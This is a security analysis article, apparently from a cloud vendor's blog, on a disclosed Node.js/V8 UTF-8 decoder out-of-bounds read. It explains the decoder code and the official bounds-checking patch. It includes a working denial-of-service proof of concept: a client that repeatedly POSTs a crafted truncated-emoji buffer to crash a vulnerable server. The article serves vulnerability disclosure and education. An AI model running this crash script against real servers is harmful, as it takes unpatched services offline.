Information Security 11 min read

Analysis of a Node.js Buffer Overflow Vulnerability and Exploit Design

This article analyzes a Node.js buffer‑overflow vulnerability triggered by oversized UTF‑8 decoding, explains the underlying V8 call stack and key functions, demonstrates an exploit using crafted POST requests, and outlines the official security fix that adds proper bounds checking.

Alibaba Cloud Infrastructure
Alibaba Cloud Infrastructure
Alibaba Cloud Infrastructure
Analysis of a Node.js Buffer Overflow Vulnerability and Exploit Design

Background: A recent Node.js security issue was disclosed during the U.S. Independence Day weekend, affecting versions such as v0.12.4 where a crafted buffer causes an immediate crash. The vulnerability is documented in the Node.js security advisory.

Call Stack: The problematic code creates a 1025‑byte buffer and calls buffer.toString() to decode it as UTF‑8. This triggers a chain of calls from JavaScript to C++ in Node.js and further down to V8 internals, as illustrated by the call stack diagram.

Key Calls:

Utf8DecoderBase::Reset allocates a private uint16_t buffer_[kBufferSize]; where kBufferSize is 512 characters (1024 bytes). When the input fits within 1024 bytes, decoding completes safely.

When the input exceeds 1024 bytes, the remaining data is processed by Utf8DecoderBase::WriteUtf16Slow :

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length) {
    while (data_length != 0) {
        unsigned cursor = 0;
        uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
        stream += cursor;
        if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
            *data++ = Utf16::LeadSurrogate(character);
            *data++ = Utf16::TrailSurrogate(character);
            DCHECK(data_length > 1);
            data_length -= 2;
        } else {
            *data++ = character;
            data_length -= 1;
        }
    }
}

The function Utf8::ValueOf extracts one UTF‑8 character at a time, delegating to Utf8::CalculateValue for multi‑byte sequences:

uchar Utf8::CalculateValue(const byte* str,
                           unsigned length,
                           unsigned* cursor)

The lack of proper bounds checking in Utf8::ValueOf allows it to read past the end of the buffer, eventually causing an assertion failure or a bus error.

Instance Analysis: The example constructs a buffer of 1028 bytes (257 × 4) containing a smiley emoji, then slices off the last three bytes, leaving a 1025‑byte payload. The first 1024 bytes decode correctly; the final byte 0xf0 is handed to WriteUtf16Slow , which calls Utf8::ValueOf . Because the remaining data is insufficient, the decoder reads stray memory that may accidentally form a valid UTF‑8 sequence, leading to a failed DCHECK and a crash.

Attack Design: An attacker can repeatedly POST maliciously crafted buffers to a Node.js HTTP server, forcing the vulnerable decoder to crash the process.

var http = require('http');
http.createServer(function(req, res){
    if(req.method == 'POST') {
        var buf = [], len = 0;
        req.on('data', function(chunk){
            buf.push(chunk);
            len += chunk.length;
        });
        req.on('end', function(){
            var str = Buffer.concat(buf,len).toString();
            res.end(str);
        });
    } else {
        res.end('node');
    }
}).listen(3000);

The client repeatedly sends large buffers composed of the offending byte sequence:

var net = require('net');
var CRLF = '\r\n';
function send(){
    var connect = net.connect({host:'127.0.0.1', port:3000});
    sendRequest(connect,'/post');
}
send();
setInterval(send, 100);
function sendRequest(connect, path){
    var smile = Buffer(4);
    smile[0]=0xf0; smile[1]=0x9f; smile[2]=0x98; smile[3]=0x8a;
    smile = smile.toString();
    var buf = Buffer(Array(16385).join(smile)).slice(0,-3);
    connect.write('POST '+path+' HTTP/1.1');
    connect.write(CRLF);
    connect.write('Host: 127.0.0.1');
    connect.write(CRLF);
    connect.write('Connection: keep-alive');
    connect.write(CRLF);
    connect.write('Content-Length:' + buf.length);
    connect.write(CRLF);
    connect.write('Content-Type: application/json;charset=utf-8');
    connect.write(CRLF+CRLF);
    connect.write(buf);
}

Fix: The official patch changes the call to Utf8::ValueOf to pass the remaining byte count instead of a constant, preventing out‑of‑bounds reads and eliminating the crash.

References:

Important security upgrades for node.js and io.js

Fix out‑of‑band write in utf8 decoder

Character encoding notes: ASCII, Unicode and UTF‑8

JavaScript’s internal character encoding: UCS‑2 or UTF‑16?

Node.jsSecurityV8patchexploitbuffer overflow
Alibaba Cloud Infrastructure
Written by

Alibaba Cloud Infrastructure

For uninterrupted computing services

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.